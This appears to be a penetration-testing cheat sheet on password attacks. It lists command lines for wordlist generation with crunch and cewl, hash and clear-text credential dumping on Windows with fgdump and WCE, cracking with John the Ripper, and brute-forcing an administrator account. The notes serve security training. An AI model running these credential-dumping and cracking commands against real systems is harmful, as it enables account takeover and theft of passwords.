Password Attacks

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Password Attacks

Various password attacks

Password Attacks are based on: 
1.Guess
2.Brute-force
3.Dictionary
Crunch 
man crunch 
ls -la /usr/share/crunch/charset.lst 
​
crunch 6 6 0123456789ABCDEF -o list.txt 
# Create a file of passwords 6 characters long using 0-F and save it to a file 
​
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha -o mixedalpha.txt 
# 4 character passwords using pre-defined crunch list 
​
crunch 8 8 -t ,@@^^%%% |more 
# Similar to Abc$#123, Jud()666, Hol&&278 passwords
PWdump/FGdump 
You need to have admin access to run those two commands. 
fgdump.exe 
# Run it. Dumps the hashes to a file to be used and cracked later 
​
type 127.0.0.1.pwdump 
# Access the contents of the file generated from fgdump.exe command
WCE (Windows Credential Editor) 
Need admin access. 
wce64.exe -w 
# Run it. Dumps password in clear text
John the Ripper 
john hashes.txt 
# Run it. Cracks the hash passwords on Kali Linux using dictionary brute-force attack(MAY TAKE LONG) 
Password Profiling 
Using word/phrases for organisation and include them in our wordlist (e.g 33 Company uses thirtythree password combinations) 
Tool: cewl Create passwords from words/phrases
​
cewl www.domain.com -m 6 -w /root/domain-cel.txt 
# Will create a password txt for the domain
In combination with John the Ripper 
vi /etc/john/john.conf 
(ADD) $[0-9]$[0-9] 
john --wordlist=megacorp-cewl.txt --rules --stout > mutated.txt
Brute force password attack on administrator. 
accesschk -v -t 10.10.10.10 -u administrator -P /usr/share/dirb/wordlists/common.txt
Reference 
John The Ripper Hash Formats
pentestmonkey
​

Spawning a Shell

Passing the Hash

Last modified 2yr ago

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Outline

Password Attacks are based on:

Crunch

PWdump/FGdump

WCE (Windows Credential Editor)

John the Ripper

Password Profiling

Brute force password attack on administrator.

Reference